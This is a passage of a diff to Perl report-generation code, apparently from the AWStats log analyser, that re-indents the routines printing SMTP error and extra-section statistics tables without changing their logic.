. Format_Bytes( $_errors_k{$key} ) . "</td>";
print "</tr>\n";
print "<td valign=\"top\">$key</td>";
print "<td class=\"aws\">"
. (
- $smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
+ $smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
. "</td><td>$_errors_h{$key}</td><td>$p %</td><td>"
. Format_Bytes( $_errors_k{$key} ) . "</td>";
print "</tr>\n";
print "<th>" . $ExtraFirstColumnTitle[$extranum];
print " - <a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=allextra$extranum")
- : "$PROG$StaticLinks.allextra$extranum.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=allextra$extranum")
+ : "$PROG$StaticLinks.allextra$extranum.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
print "</th>";
if ( $MaxNbOfExtra[$extranum] ) {
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
&BuildKeyList(
- $MaxNbOfExtra[$extranum],
- $MinHitExtra[$extranum],
- \%{ '_section_' . $extranum . '_h' },
- \%{ '_section_' . $extranum . '_p' }
+ $MaxNbOfExtra[$extranum],
+ $MinHitExtra[$extranum],
+ \%{ '_section_' . $extranum . '_h' },
+ \%{ '_section_' . $extranum . '_p' }
);
}
else {
&BuildKeyList(
- $MaxNbOfExtra[$extranum],
- $MinHitExtra[$extranum],
- \%{ '_section_' . $extranum . '_h' },
- \%{ '_section_' . $extranum . '_h' }
+ $MaxNbOfExtra[$extranum],
+ $MinHitExtra[$extranum],
+ \%{ '_section_' . $extranum . '_h' },
+ \%{ '_section_' . $extranum . '_h' }
);
}
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
. Format_Bytes(
- ${ '_section_' . $extranum . '_k' }{$key} )
+ ${ '_section_' . $extranum . '_k' }{$key} )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td>"
. (
- ${ '_section_' . $extranum . '_l' }{$key}
- ? Format_Date(
- ${ '_section_' . $extranum . '_l' }{$key},
- 1 )
- : '-'
+ ${ '_section_' . $extranum . '_l' }{$key}
+ ? Format_Date(
+ ${ '_section_' . $extranum . '_l' }{$key}, 1 )
+ : '-'
)
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
. (
- $count ? Format_Bytes( $total_k / $count ) : " " )
+ $count ? Format_Bytes( $total_k / $count ) : " " )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {